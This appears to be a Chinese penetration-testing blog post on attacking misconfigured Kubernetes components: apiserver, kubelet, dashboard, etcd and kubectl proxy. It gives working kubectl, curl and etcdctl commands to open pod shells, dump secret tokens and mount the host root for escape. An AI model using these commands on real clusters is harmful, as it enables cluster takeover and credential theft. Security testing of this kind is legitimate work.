<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    K8S常見組件配置不當利用記錄

    VSole2022-05-30 15:23:24

    滲透測試中的k8s各個組件未鑒權情況下如何利用都是需要去熟知的,這篇附上常見組件未授權或配置不當情況下如何攻擊利用。

    組件之間的關系

    對組建的介紹文章很多了,這里不介紹組件的基礎,只記錄如何利用。

    Apiserver

    apiserver有兩個端口一個認證(Insecure-port ,8080端口,低版本才對外開放,1.20版本后默認不開)、一個不認證(secure-port,6443端口)。

    能利用的情況是開放端口并且配置錯誤,這里的配置錯誤是將system:anonymous用戶綁定到了cluster-admin用戶組,那么匿名用戶可以支配集群:

    kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
    

    這種配置下可以拿到所有token后與api server交互,支配集群:

    利用

    使用kubectlapiserver交互,或者就單純curl來發包,效果都是一樣的。

    容器內下載kubectl:

    curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
    

    執行pod內命令:

    kubectl -s 192.168.1.22:8080 get node   #查看nodekubectl -s 192.168.1.22:8080 get pods  #查看podkubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash  #對pod的容器shell
    

    替換成curl的話也是一樣的,把kubectl的包轉成curl即可:

    https://192.168.1.22:6443/api/v1/namespaces/default/pods/attackerhttps://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker/exec?command=ls&container=ubuntu&container=ubuntu&stderr=true&stdout=true
    

    這時候已經可以執行各種容器的shell和拿到service-account的token之類的了,如果要控apiserver,最簡單的就是創建pod的容器掛載宿主機的根目錄后續寫私鑰計劃任務之類的,例子:

    轉成curl也是一樣的:

    curl -k $APISERVER/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
    

    你可以提前把需要創建的pod轉成json,再來用curl發包:

    kubelet

    kublet是管理本機Pod的的工具,而kubectl是用于管理集群的。

    每一個 Node 節點都有一個 kubelet 服務,kubelet 監聽了 10250,10248,10255 等端口。

    • 10250會鑒權,默認是安全的。
    • 10255不鑒權,但是是只讀端口無法執行命令,可讀env、進程信息等。

    kubelet對應的API端口默認在10250,運行在集群中每臺Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml

    配置錯誤的條件是: 

    • kubelet api能否被匿名訪問
    • kubelet api訪問是否需要經過Api server進行授權

    默認kubelet配置文件如下:

    如果將配置文件中,authentication-anonymous-enabled改為true并且authorization-mode為AlwaysAllow

    那么就可以實現kubelet未授權訪問。

    利用

    在pod中執行命令

    訪問10250發現未授權情況:

    通過和api交互,執行pod中的容器命令:

    curl -XPOST -k https://node_ip:10250/run/// -d "cmd=command"

    而通過/pod API 中可以獲取到每個 POD 的配置,通過篩選host*、securityContext、volumes等特殊字段內容也可以快速得出哪些是特權容器,方便逃逸。

    dashboard

    利用條件是管理修改配置,讓dashboard可以跳過登錄并且配置了高權限Service Account(cluster-admin),

    兩個條件達成才可以利用。

    安裝dashborad:

    kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yamlkubectl proxy   #默認端口 8001
    

    錯誤配置1跳過登錄:

    加了--enable-skip-login參數即可跳過登錄:



    錯誤配置2高權限Service Account

    clusterrolebinding對象把sa綁定cluster-admin角色:

    apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: admin-userroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- kind: ServiceAccount  name: admin-user  namespace: kubernetes-dashboard
    

    兩個滿足以后,進入dashboard就可以隨便部署pod,然后掛載宿主機根目錄 ,和前面創建惡意pod一樣的流程了:

    etcd

    etcd 被廣泛用于存儲分布式系統或機器集群數據,其默認監聽了 2379 等端口。

    利用條件是錯誤配置了未授權,etcd的配置文件是

    /etc/kubernetes/manifests/etcd.yaml,如果配置中默認去掉了證書校驗選項并且能夠訪問到2379就會有未授權接管的情況:

    利用

    etcd有v2和v3兩個版本,k8s用的是v3版本,所以需要在訪問etcd的時候需要用命令ETCDCTL_API=3來指定etcd版本。

    利用etcd未授權,需要使用一個工具叫做etcdctl,它是用來管理etcd數據庫的,我們可以在github上下載它

    https://github.com/etcd-io/etcd/releases/

    在啟動etcd時,如果沒有指定 --client-cert-auth 參數打開證書校驗,并且沒有通過iptables / 防火墻等實施訪問控制,etcd的接口和數據就會直接暴露給外部黑客"

    默認不帶證書是無法認證的:

    export ETCDCTL_API=3export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crtexport ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crtexport ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
    

    把證書相關文件加入環境變量后才能訪問:

    如果是未授權情況,可以不帶證書的校驗去訪問,獲取token:

    /etcdctl --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole/etcdctl --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp
    

    拿到token以后就和前面一樣了:

    kubectl --insecure-skip-tls-verify=true --server="https://ip:8443" --token="eyJhbG......" get secrets --all-namespaces
    

    自然也可以命令執行:

    kubectl proxy

    k8s如果在pod上開端口并且使用ClusterIP Service 綁定創建一個service后,需要開放nodeport或者cni這種插件來開放,但是如果為了方便使用kubectl proxy 把localhost地址代理到kubernetes apiserver:

    kubectl proxy --address=xxx.xxx.xxx.xxx --port=8080 &
    

    本質上也是kubectl proxy為訪問kubernetes apiserver的REST api充當反向代理角色,這樣的話通過kubectl proxy轉發apiserver,但是這樣默認是不鑒權,所以也能導致被接管。

    kubernetesetcd
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    NSA和CISA聯合發布Kubernetes安全加固建議。指南稱,Kubernetes環境被黑的主要誘因是供應鏈攻擊、惡意攻擊者和內部威脅。雖然管理員無法應對這3種威脅,但可以通過避免錯誤配置、減小安全風險等方式來加固Kubernetes系統。針對Kubernetes系統安全風險的防護措施包括掃描容器和pod的bug和錯誤配置、使用最小權限來運行pod和容器、進行網絡隔離、強認證、防火墻等。
    K8s etcd未授權訪問
    2023-04-20 07:49:38
    在安裝完K8s后,默認會安裝etcd組件,etcd是一個高可用的key-value數據庫,它為k8s集群提供底層數據存儲,保存了整個集群的狀態。大多數情形下,數據庫中的內容沒有加密,因此如果黑客拿下etcd,就意味著能控制整個K8s集群。在K8s集群初始化后,etcd默認就以pod的形式存在,可以執行如下命令進行查看,etcd組件監聽的端口為2379,并且對外開放。這就意味著訪問etcd服務需要攜帶cert進行認證,執行如下命令訪問etcd服務,可以看到提示未認證。
    一文了解Etcd安全風險及攻擊場景~
    k8s攻防之etcd數據庫篇
    2022-07-21 17:02:34
    Etcd是一個具有強一致性的分布式 key-value 存儲組件(也是一個高可用的分布式鍵值對數據庫)。采用類似目錄結構的方式對數據進行存儲,僅在葉子結點上存儲數據,葉子結點的父節點為目錄,不能存儲數據。多數情形下,數據庫中的內容沒有經過加密處理,一旦etcd被黑客拿下,就意味著整個k8s集群失陷。
    淺談云安全之K8S
    2021-07-14 05:06:00
    Kubernetes 是一個可移植的,可擴展的開源容器編排平臺,用于管理容器化的工作負載和服務,方便了聲明式配置和自動化。它擁有一個龐大且快速增長的生態系統。Kubernetes 的服務,支持和工具廣泛可用。
    K8s組件和架構
    2022-12-29 16:51:34
    K8s常見組件和架構
    常見組件未授權或配置不當情況下如何攻擊利用
    一、前言 這篇文章可能出現一些圖文截圖顏色或者命令端口不一樣的情況,原因是因為這篇文章是我重復嘗試過好多次才寫的,所以比如正常應該是訪問6443,但是截圖中是顯示大端口比如60123這種,不影響閱讀和文章邏輯,無需理會即可,另外k8s基礎那一欄。。。本來想寫一下k8s的鑒權,后來想了想,太長了,不便于我查筆記,還不如分開寫,所以K8S基礎那里屬于湊數???寫了懶得刪(雖然是粘貼的:))
    隨著數字經濟時代到來,云計算、大數據、物聯網等新興技術在關鍵信息基礎設施領域深度應用,數字技術已經成為企業轉型和發展的關鍵要素,而云是企業數字化轉型的基礎支柱,也是企業的首要技術重點
    Kubernetes通常被稱為“K8s”,是一種非常流行的開源容器編排系統,可以自動部署、擴展和管理容器化工作負載。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类